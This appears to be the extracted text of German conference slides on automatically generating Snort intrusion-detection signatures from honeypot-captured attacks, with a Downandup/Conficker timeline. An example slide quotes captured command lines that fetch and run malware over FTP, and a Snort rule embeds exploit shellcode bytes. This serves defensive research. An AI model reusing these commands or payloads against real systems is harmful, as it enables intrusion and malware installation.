Automatisches Generieren komplexer Intrusion-Detection-Signaturen Tillmann Werner Cyber Defence – Schutzlos in einer vernetzten Welt? AFCEA-Informationsveranstaltung 16. Februar 2009
Angriffe im Internet 0wned Typischer Ablauf von Angriffen C&C 4 1 3 2 Automatisches Generieren komplexer Intrusion-Detection-Signaturen Angriffe im Internet Typischer Ablauf von Angriffen Scannen von Netzbereichen nach angreifbaren Rechnern Automatische, parallelisiere Systemkompromittierung Download des eigentlichen Schadprogramms Zusammenschluss übernommener Systeme zu Botnetzen Weitere Attacken C&C 4 1 3 0wned 2 5 Tillmann Wern er AFCEA: Cyber Defence
? Fallbeispiel: Downandup-Wurm Fakten Automatisches Generieren komplexer Intrusion-Detection-Signaturen Fallbeispiel: Downandup-Wurm Fakten Verbreitet sich automatisch über Netzwerke Nutzt Schwachstelle im Server Service auf Windows-Systemen Lädt Schadprogramm auf kompromittierte Maschinen Schließt infizierte Computer zu einem Botnetz zusammen ? 23.10.2008: Microsoft veröffentlicht außerplanmäßiges Advisory MS08-067 26.10.2008: PoC-Exploits im Internet verfügbar 04.11.2008: Erste Exploits in Sensoren der Universität Bonn 21.11.2008: Downandup 16.01.2009: F-Secure: 9 Millionen infizierte Systeme weltweit 20.01.2009: 70 Systeme der Royal Navy befallen (BBC News) 21.01.2009: Intramar infizier – Jets der frz. Marine können nicht starten (Telegraph) 25.01.2009: Pandalabs: 5,77% aller PC infiziert 07.02.2009: Amtsgericht Houston für 4 Tage lahmgelegt 12.02.2009: Microsoft setzt 250.000$ Kopfgeld aus 13.02.2009: Hunderte Systeme der Bundeswehr befallen (Spiegel Online) Tillmann Wern er AFCEA: Cyber Defence
Anwendung und Ausblick Automatisches Generieren komplexer Intrusion-Detection-Signaturen Inhalt Motivation Sensorik Signaturgenerierung Anwendung und Ausblick Tillmann Wern er AFCEA: Cyber Defence
Motivation Network Intrusion Detection Signaturgenerierung Automatisches Generieren komplexer Intrusion-Detection-Signaturen Motivation Network Intrusion Detection Signaturen zur Erkennung und Blockade von Angriffen in Netzen Konzeptuelle Eigenschaft: Reaktiv per Definition Signatur: Formale Beschreibung spezieller Eigenschaften Dazu genaue Kenntnis von Angriffen nötig Ständig wechselnde Angriffstrends Manuelles Signatur-Engineering kann nicht Schritt halten Automatisierte Angriffe erfordern automatisierte Gegenmaßnahmen Signaturgenerierung Minimierung des Zeitfensters ohne Schutz Idee: Signaturen aus Angriffen berechnen Weitere Angriffe dann detektierbar Tillmann Wern er AFCEA: Cyber Defence
Sensorik Wo ansetzen? Anforderungen Honeypots Automatisches Generieren komplexer Intrusion-Detection-Signaturen Sensorik Wo ansetzen? Schwachstellen sind die Angriffsvektoren Ziel: Abwehr der initialen Attacke Anforderungen Erfassen neuer Angriffstypen und –varianten Verteilte Sensorik, zentrale Auswertung Entkopplung Angriffserfassung und Signaturgenerierung Datenerfassung ist zeitkritisch Signaturgenerierung ist rechenintensiv Honeypots Spezielle Opfer-Systeme mit dem Ziel, angegriffen zu werden Erfassen möglichst viele Informationen zu jedem Angriff Können auch völlig unbekannte Attacken erfassen Tillmann Wern er AFCEA: Cyber Defence
Signaturgenerierung: Überblick Automatisches Generieren komplexer Intrusion-Detection-Signaturen Signaturgenerierung: Überblick Generierungsprozess Sensoren erfassen und übermitteln Angriffsdaten Automatische Klassifizierung Identifizieren invarianter Anteile Signatur-Komposition Format-Übersetzung Tillmann Wern er AFCEA: Cyber Defence
Automatisches Generieren komplexer Intrusion-Detection-Signaturen Beispiel cmd /c echo open 192.168.1.100 17713 >> ii &echo user 1 1 >> ii &echo get smc.exe >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &smc.exe cmd /c echo open 0.0.0.0 29221 >> ii &echo user 1 1 >> ii &echo get crsss.exe >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &crsss.exe cmd /c echo open 192.168.176.184 39354 >> ii &echo user 1 1 >> ii &echo get aglopmn.exe >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &aglopmn.exe alert tcp any any -> \$HOME_NET 8555 (msg: "nebula rule 2000001 rev. 1";\ content: "cmd /c echo open "; offset: 0; depth: 17;\ content: "exe >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &";\ distance: 55; within: 139;\ sid: 2000001; rev: 1;) Tillmann Wern er AFCEA: Cyber Defence
Signaturgenerierung: Automatische Klassifizierung Automatisches Generieren komplexer Intrusion-Detection-Signaturen Signaturgenerierung: Automatische Klassifizierung Angriffsklassen Ziel: Generiere eine Signatur pro Angriffsklasse Klasse: Menge aller ähnlichen Angriffe Ähnlichkeit definiert anhand syntaktischer Merkmale Automatische Klassifizierung (Clustering) Clustern eingehender Angriffe anhand Ähnlichkeit Graph-basierter Algorithmus Zusammenhangskomponenten repräsentieren Cluster Online-Verfahren, d.h. neue Klassen werden zur Laufzeit gebildet Tillmann Wern er AFCEA: Cyber Defence
Signaturgenerierung: Identifizieren invarianter Anteile Automatisches Generieren komplexer Intrusion-Detection-Signaturen Signaturgenerierung: Identifizieren invarianter Anteile Gemeinsame Substrings Gesucht: Substrings, die in allen Angriffen eines Clusters vorkommen Diese stellen gemeinsame Merkmale dar Signatur : Gemeinsame Substrings mit Positionsangaben 1 3 2 Finden aller gemeinsamen Substrings Algorithmus auf Basis von Generalized Suffix Trees Speziell für die Signaturgenerierung entwickelt Sehr effizient: O(n) bei n = Summe aller Angriffsbytes Tillmann Wern er AFCEA: Cyber Defence
Signaturgenerierung: Komposition und Übersetzung Automatisches Generieren komplexer Intrusion-Detection-Signaturen Signaturgenerierung: Komposition und Übersetzung Signatur-Komposition Ziel: Möglichst lange Sequenz bilden Greedy-Algorithmus: Ergänzt sukzessive nächstlängsten Substring Ergebnis nicht notwendigerweise optimal Einfaches Optimieren wegen Mehrstufigkeit des Verfahrens Signatur-Übersetzung Generierte Roh-Signatur in der Praxis nicht einsetzbar Snort-Format: De-facto-Standard Syntax besitzt die benötigte Mächtigkeit alert tcp any any -> \$HOME_NET 8555 (msg: "nebula rule 2000001 rev. 1";\ content: "cmd /c echo open "; offset: 0; depth: 17;\ content: "exe >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &";\ distance: 55; within: 139;\ sid: 2000001; rev: 1;) Tillmann Wern er AFCEA: Cyber Defence
Signaturgenerierung: Komposition und Übersetzung Automatisches Generieren komplexer Intrusion-Detection-Signaturen Signaturgenerierung: Komposition und Übersetzung alert tcp any any -> any any (msg: "nebula rule 2000001 rev. 4"; \ content: "|00 00 85 ff|SMBr|00 00 00 00 18|S|c8 00 00 00 00 00 00 00 00 00 00 00 00 00 00|7|13 00 00 00 00 00|b|00 02|PC NETWORK PROGRAM 1.0|00 02|LANMAN1.0|00 02|Windows for Workgroups 3.1a|00 02|LM1.2X002|00 02| LANMAN2.1|00 02|NT LM 0.12|00 00 00 10 bf ff|SMBs|00 00 00 00 18 07 c8 00 00 00 00 00 00 00 00 00 00 00 00 00 00|7|13 00 00 00 00 0c ff 00 00 00 04 11 0a 00 00 00 00 00 00 00|~|10 00 00 00 00 d4 00 00 80|~|10|`|82 10|z|06 06|+|06 01 05 05 02 a0 82 10|n0|82 10|j|a1 82 10|f#|82 10|b|03 82 04 01 00|AAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|03 00|#|82 0c|W|03 82 04 0a 00 90|B|90|B|90|B|90|B|81 c4|T |f2 ff ff fc e8|F|00 00 00 8b|E<|8b 7c 05|x|01 ef 8b|O|18 8b|_ |01 eb e3|.I|8b|4|8b 01 ee|1|c0 99 ac 84 c0 |t|07 c1 ca 0d 01 c2 eb f4|\;T|24 04|u|e3 8b|_|24 01 eb|f|8b 0c|K|8b|_|1c 01 eb 8b 1c 8b 01 eb 89|\\|24 04 c3|1|c0|d|8b|@0|85 c0|x|0f 8b|@|0c 8b|p|1c ad 8b|h|08 e9 0b 00 00 00 8b|@4|05 7c 00 00 00 8b|h<_1|f6|`V|eb 0d|h|ef ce e0|`h|98 fe 8a 0e|W|ff e7 e8 ee ff ff ff|cmd /c echo open "; depth: 1435; offset: 0; \ content: ">> ii &echo user "; distance: 13; within: 1473; \ content: "exe >> ii &echo bye >> ii &ftp -n -v -s\:ii &del ii &"; distance: 17; within: 127; \ content: "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB#|0a 03 08 00 f8 0f 01 00 f8 0f 01|#|82 08|9|03 82 04 11 00|CCCC |f0 fd 7f|SVWf|81 ec 80 00 89 e6 e8 ed 00 00 00 ff|6h|09 12 d6|c|e8 f7 00 00 00 89|F|08 e8 a2 00 00 00 ff|v|04|hk|d0|+|ca e8 e2 00 00 00 89|F|0c e8|?|00 00 00 ff|v|04|h|fa 97 02|L|e8 cd 00 00 00|1|db|h|10 04 00 00|S|ff d0 89 c3|V|8b|v|10 89 c7 b9 10 04 00 00 f3 a4|^1|c0|PPPSPP|ff| V|0c 8b|F|08|f|81 c4 80 00|_^[|ff e0|`|e8|#|00 00 00 8b|D|24 0c 8d|X|7c 83|C<|05 81|C(|00 10 00 00 81|c(|0 0 f0 ff ff 8b 04 24 83 c4 14|P1|c0 c3|1|d2|d|ff|2d|89|\"1|db b8 90|B|90|B1|c9 b1 02 89 df f3 af|t|03|C|eb f3 89|~|10|d|8f 02|Xa|c3|`|bf| |f0 fd 7f 8b 1f 8b|F|08 89 07 8b 7f f8 81 c7|x|01 00 00 89 f9|9|19|t|04 8b 09 eb f8 89 fa|9Z|04|t|05 8b|R|04 eb f6 89 11 89|J|04 c6|C|fd 01|a|c3 a1 0c f0 fd 7f 8b|@|1c 8b|X|08 89 1e 8b 00 8b|@|08 89|F|04 c3|`|8b|l|24|(|8b|E<|8b|T|05|x|01 ea 8b|J|18 8b|Z |01 eb e3|8I|8b|4|8b 01 ee|1|ff|1| c0 fc ac|8|e0|t|07 c1 cf 0d 01 c7 eb f4|\;|7c 24 24|u|e1 8b|Z|24 01 eb|f|8b 0c|K|8b|Z|1c 01 eb 8b 04 8b 01 e8 89|D|24 1c|a|c2 08 00 eb fe|CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCC#|82 04| |03 09 00 eb 06 90 90 90 90 90 90 03 82 04 11 00|DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDD|00 00 00 00 00 00|"; distance: 19; within: 2937; \ sid: 2000001; rev: 4;) Tillmann Werner Tillmann Wern er AFCEA: Cyber Defence
Anwendung und Ausblick Automatisches Generieren komplexer Intrusion-Detection-Signaturen Anwendung und Ausblick Selbstschützende Netze Sensoren, Signatur-Generator und IDS im selben Netz Neue Regel bei neuen Angriffswellen Aktuell eher Forschungscharacter wegen Missbrauchsgefahr Werkzeug zur Angriffsanalyse Methode auch hilfreich bei manueller Angriffsanaylse Signatur beschreibt statische Anteile Schnelleres Verständnis von Angriffsdetails Ausblick Weitere Forschung nötig und möglich Verbesserung insbesondere durch mehr strukturelles Wissen über Angriffe Idee: Lernen von Dialogstrukturen zwischen Angreifer und Opfer Tillmann Wern er AFCEA: Cyber Defence
Fragen? Tillmann Werner werner@cs.uni-bonn.de Institut für Informatik IV Universität Bonn Römerstraße 164 53117 Bonn